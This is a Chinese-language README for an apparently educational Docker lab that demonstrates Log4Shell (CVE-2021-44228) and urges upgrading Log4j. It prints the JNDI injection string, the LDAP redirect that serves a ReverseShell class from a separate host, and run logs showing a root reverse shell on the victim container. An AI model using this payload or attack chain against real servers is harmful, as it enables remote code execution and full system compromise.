自包含实验室环境 PoC，利用 Log4Shell (CVE-2021-44228) 运行反向 Shell

这是一个自包含的实验室环境，可通过 docker compose 安全地运行该漏洞。

受影响版本为 Apache Log4j <=2.0–2.14.1，CVE 编号为 CVE-2021-44228（CVSS 评分：10.0）。

请尽快将 Apache Log4j 升级到 2.16+ 版本 !!!

前提条件

此代码需要 Docker 和 Docker Compose。

描述

Dockerfile 和 docker-compose.yml 文件是不言自明的，用于构建和启动实验室环境。

受害者服务器 log4shell-server 使用 spring initializr 演示项目构建，并通过 spring-boot-starter-log4j2 2.6.1 包含易受攻击的 Log4j 2.14.1 版本。

易受攻击的代码位于 DemoApplication.java 中。

远程代码执行由 rce-server 提供。

中间 LDAP 服务器基于 Java Unmarshaller Security - Turning your data into code execution。

攻击向量由此脚本执行，以建立到反向 Shell 服务器的连接。

反向 Shell 服务器等待连接，并通过反向 Shell 发送命令示例 echo $(whoami)，该命令在受害者服务器 log4shell-server 上执行。

用法：

git clone https://github.com/j3kz/CVE-2021-44228-PoC.git
cd CVE-2021-44228-PoC
docker compose up

ldap-server       | Listening on 0.0.0.0:1389

LDAP 服务器已就绪并正在监听。

reverse-shell     | listening on [::]:4242 ...

反向 Shell 服务器已就绪并正在监听。

log4shell-server  |
log4shell-server  |   .   ____          _            __ _ _
log4shell-server  |  /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
log4shell-server  | ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
log4shell-server  |  \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
log4shell-server  |   '  |____| .__|_| |_|_| |_\__, | / / / /
log4shell-server  |  =========|_|==============|___/=/_/_/_/
log4shell-server  |  :: Spring Boot ::                (v2.6.1)
log4shell-server  |
log4shell-server  | 2021-12-18 12:31:37.695  INFO 1 --- [           main] c.e.d.DemoApplication                    : Starting DemoApplication using Java 1.8.0_181 on 46edaaf2f7eb with PID 1 (/app/spring-boot-application.jar started by root in /)
log4shell-server  | 2021-12-18 12:31:37.739  INFO 1 --- [           main] c.e.d.DemoApplication                    : No active profile set, falling back to default profiles: default
log4shell-server  | 2021-12-18 12:31:42.337  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat initialized with port(s): 8080 (http)
log4shell-server  | 2021-12-18 12:31:42.439  INFO 1 --- [           main] o.a.c.c.StandardService                  : Starting service [Tomcat]
log4shell-server  | 2021-12-18 12:31:42.440  INFO 1 --- [           main] o.a.c.c.StandardEngine                   : Starting Servlet engine: [Apache Tomcat/9.0.55]
log4shell-server  | 2021-12-18 12:31:42.717  INFO 1 --- [           main] o.a.c.c.C.[.[.[/]                        : Initializing Spring embedded WebApplicationContext
log4shell-server  | 2021-12-18 12:31:42.718  INFO 1 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 4549 ms
log4shell-server  | 2021-12-18 12:31:44.660  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat started on port(s): 8080 (http) with context path ''

易受攻击的服务器已就绪并正在监听。

attack-vector     | 👌 log4shell-server:8080 is listening!
attack-vector     | 🚀 Sending attack vector ...

攻击服务器正在等待连接并发送攻击向量。

log4shell-server  | 2021-12-18 12:31:44.740  INFO 1 --- [           main] c.e.d.DemoApplication                    : Started DemoApplication in 8.402 seconds (JVM running for 11.113)
log4shell-server  | 2021-12-18 12:31:45.110  INFO 1 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'
log4shell-server  | 2021-12-18 12:31:45.110  INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
log4shell-server  | 2021-12-18 12:31:45.112  INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 2 ms
ldap-server       | Send LDAP reference result for attack-vector redirecting to http://rce-server:3000/ReverseShell.class
rce-server        | 172.31.0.3 - - [18/Dec/2021:12:31:45 +0000] "GET /ReverseShell.class HTTP/1.1" 200 891 "" "Java/1.8.0_181"

易受攻击的服务器执行请求并进行日志记录，因此 LDAP 服务器向 RCE 服务器请求 RCE。

reverse-shell     | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:43877 ([::ffff:172.31.0.3]:43877)
reverse-shell     | 👻 Hello from the log4shell-server! We are root.
reverse-shell     | listening on [::]:4242 ...
reverse-shell     | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:41249 ([::ffff:172.31.0.3]:41249)

RCE 已执行，受害者服务器正在打开反向 Shell，反向 Shell 服务器能够执行远程命令。

log4shell-server  | 2021-12-18 12:31:45.187  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello  param:name: ReverseShell@22fb868
log4shell-server  | 2021-12-18 12:31:45.345  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello header:host: log4shell-server:8080
log4shell-server  | 2021-12-18 12:31:45.345  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello header:user-agent: curl/7.80.0
log4shell-server  | 2021-12-18 12:31:45.345  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello header:accept: */*

受害者服务器正在记录攻击向量请求。

attack-vector     | 🔥 Server returned:
attack-vector     | > HTTP/1.1 200
attack-vector     | > Content-Type: text/plain;charset=UTF-8
attack-vector     | > Content-Length: 52
attack-vector     | > Date: Sat, 18 Dec 2021 12:31:45 GMT
attack-vector     | >
attack-vector     | > Hello ${jndi:ldap://ldap-server:1389/attack-vector}!
attack-vector     | Attack should be successfull, have a nice day!

攻击向量请求记录响应，然后结束。